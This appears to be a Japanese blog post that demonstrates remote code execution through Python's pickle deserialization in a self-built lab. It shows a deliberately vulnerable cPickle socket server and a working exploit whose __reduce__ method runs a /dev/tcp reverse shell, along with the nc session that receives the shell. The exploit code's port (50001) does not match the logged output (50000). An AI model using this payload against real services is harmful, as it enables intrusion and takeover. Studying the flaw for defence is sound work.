Pythonの外部入力をunpickle化することによる脆弱性を検証した
背景
@inaz2氏のツイートでこの脆弱性を知り、exploitを書くに至った。
unpickleによる脆弱性
Pythonには、listやdictなどのオブジェクトをバイトストリームに変換するためのpickleという標準モジュールがあり、オブジェクトをバイトストリームに変換することをpickle化、バイトストリームからオブジェクトに変換することをunpickle化という。
このライブラリはセキュリティを考慮しておらず、どんなデータに対してもコンストラクタを実行してしまうので、外部からの入力をunpickle化すると脆弱性となってしまう。
公式ドキュメントにも次のように書かれている。
pickle モジュールはエラーや不正に生成されたデータに対するセキュリティを 考慮していません。 信頼できない、あるいは認証されていないソースから受信したデータを unpickle してはいけません。
また、実際に以下のような脆弱性の実例があった。
JVNDB-2015-002286 - JVN iPedia - 脆弱性対策情報データベース
JVNDB-2014-007928 - JVN iPedia - 脆弱性対策情報データベース
自作ソケットサーバーのシェルを取ってみる
外部入力をunpickleすることによる脆弱性を含んだ自作ソケットサーバーに対してexploitを実行しシェルを取る。
cPickleはc言語で書くことによって高速化されたpickleモジュールであり、ほぼpickleモジュールと動作は同一である。
ソケットサーバーのコード
#! /usr/local/bin/python2.7 # coding: UTF-8 import cPickle import SocketServer class TCPServer(SocketServer.TCPServer): def __init__(self, server_address, RequestHandlerClass): SocketServer.TCPServer.__init__(self, server_address, RequestHandlerClass) class VulnerableTCPHandler(SocketServer.BaseRequestHandler): def handle(self): self.request.sendall('connected\n') self.received = self.request.recv(1024).strip() print('Received:{0}\n'.format(self.received)) self.result = cPickle.loads(self.received) self.request.sendall('Server received') print('Sent: Server received\n') if __name__ == "__main__": HOST, PORT = "localhost", 9999 print('Vulnerable server starts...') print('Host: {0}'.format(HOST)) print('Port: {0}'.format(PORT)) server = TCPServer((HOST, PORT), VulnerableTCPHandler) server.serve_forever()
exploitのコード
unpickle化された時にreverse shellを行うコマンドを実行するデータを送信するexploitを書いた。reverse shellとは、リモートで待ち受けている先に接続しに行くシェルのことである。__reduce__メソッドを用いて、unpickle化時にどのような文字列またはタプルを返すかを定義している。
#!/usr/bin/env python2.7 # coding: UTF-8 import cPickle import socket import os class GetShell(object): def __reduce__(self): return (os.system, ('/bin/sh </dev/tcp/localhost/50001 >&0 2>&0',)) payload = cPickle.dumps(GetShell()) soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect(('localhost', 9999)) print soc.recv(1024) soc.send(payload) print soc.recv(1024)
実行例
起動したソケットサーバーにpayloadを送り込む。
$ python vulnpicklepayload.py connected
$ python vulnpickleserver.py Vulnerable server starts... Host: localhost Port: 9999 Received:cposix system p1 (S'/bin/sh </dev/tcp/localhost/50000 >&0 2>&0' p2 tp3 Rp4 .
サーバーからシェルが接続してくるのをncで待ち受ける。
$ nc -l 50000 ls vulnpicklepayload.py vulnpickleserver.py pwd /Users/tkmru/document/code exit
シェルをリモートから操作できるようになった。